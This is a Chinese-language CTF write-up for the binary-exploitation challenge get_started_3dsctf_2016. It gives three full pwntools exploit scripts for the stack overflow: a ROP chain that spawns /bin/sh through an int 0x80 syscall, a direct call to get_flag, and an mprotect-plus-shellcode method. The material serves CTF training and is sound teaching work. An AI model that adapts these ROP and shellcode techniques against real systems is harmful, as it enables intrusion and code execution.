0x00 方法一
静态编译,32位,想到通过系统调用来获取shell。
首先使用cyclic工具计算出了偏移量为56。由于该题的是外平栈,无需再加0xdeadbeef。
首先找到pop eax:
ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "eax"
得到可用结果:0x080b91e6
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080b91e6 : pop eax ; ret 0x0804c56d : pop eax ; ret 0x80e 0x080d9ff8 : pop eax ; ret 0xfff7 0x080dfcd8 : pop eax ; ret 0xfff9 0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
找pop ebx:
ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "ebx"
非常完美的一条^^:
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
接下来找“/bin/sh”:
ROPgadget --binary get_started_3dsctf_2016 --string "/bin"
没有结果,需要自己写入。先将”/bin”写入eax里,再挑一个可写入的地址,这里将”/bin”写入的edx存入的地址:
为了让地址可控,使用`vmmap`命令找一个可写的地址,我这里挑了个比较大的0x080eb020:
那么“/sh/x00”需要写在它的后四位。即”0x080eb020+4“,最后需要填入int 0x80:
ROPgadget --binary get_started_3dsctf_2016 --only "int"
1个结果:
Gadgets information ============================================================ 0x0806d7e5 : int 0x80
最终exp如下:
from pwn import * local = 1 if local == 1: io = process('./get_started_3dsctf_2016') else: io = remote('node4.buuoj.cn',29252) pop_eax_ret = 0x080b91e6 pop_edx_ecx_ebx_ret = 0x0806fc30 int80 = 0x0806d7e5 mov_edx_eax_ret = 0x080557ab payload = 'a'*56+p32(pop_eax_ret)+'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020)+p32(0)+p32(0)+p32(mov_edx_eax_ret) payload += p32(pop_eax_ret)+'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret) payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(0x080eb020)+p32(int80) io.sendline(payload) io.interactive()
0x01 方法二
直接调用get_flag
函数。要让程序正常退出才行,ret的地址需要是exit函数的地址,不能瞎填。
from pwn import * #elf = ELF('./get_started_3dsctf_2016') local = 0 if local == 1: io = process('./get_started_3dsctf_2016') gdb.attach(io,'b * 0x08048A40') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',26854) #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') exit_addr = 0x0804e6a0 payload = 'a'*0x38+p32(0x80489A0)+p32(exit_addr)+p32(0x308CD64F)+p32(0x195719D1) io.sendline(payload) io.interactive()
0x02 方法三
利用mprotect
函数:
函数原型:int mprotect(void *addr, size_t len, int prot); //addr 内存启始地址 //len 修改内存的长度 //prot 内存的权限 函数作用:将以addr开始的内存 到 addr+len的内存的权限给设置为 prot (rwx)
首先找到可读可写区域:
./ get_started_3dsctf_2016 cat /proc/[you_pid]/maps
开始地址为080ea000,长度差不多够写shell就可以,权限为7。
mprotect_addr = 0x806EC80 mprotect_start = 0x080ea000 mprotect_len = 0x64 mprotect_proc = 0x7
让其执行完mprotect函数后返回read函数,从输入端读取mprotect_len
长度的内容放入到mprotect_addr
。最后传入shellcode即可。找三个寄存器加一个ret的地址,还用的【方法一】的这仨:
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
最后exp如下:
from pwn import * elf = ELF('./get_started_3dsctf_2016') local = 0 if local == 1: io = process('./get_started_3dsctf_2016') else: io = remote('node4.buuoj.cn',26854) mprotect_addr = 0x806EC80 mprotect_start = 0x080ea000 mprotect_len = 0x64 mprotect_proc = 0x7 pop_edx_ecx_ebx = 0x0806fc30 read_addr = elf.symbols['read'] shellcode = asm(shellcraft.i386.linux.sh()) payload = 'a'*0x38+p32(mprotect_addr)+p32(pop_edx_ecx_ebx)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_proc) payload += p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_start) io.sendline(payload) io.sendline(shellcode) io.interactive()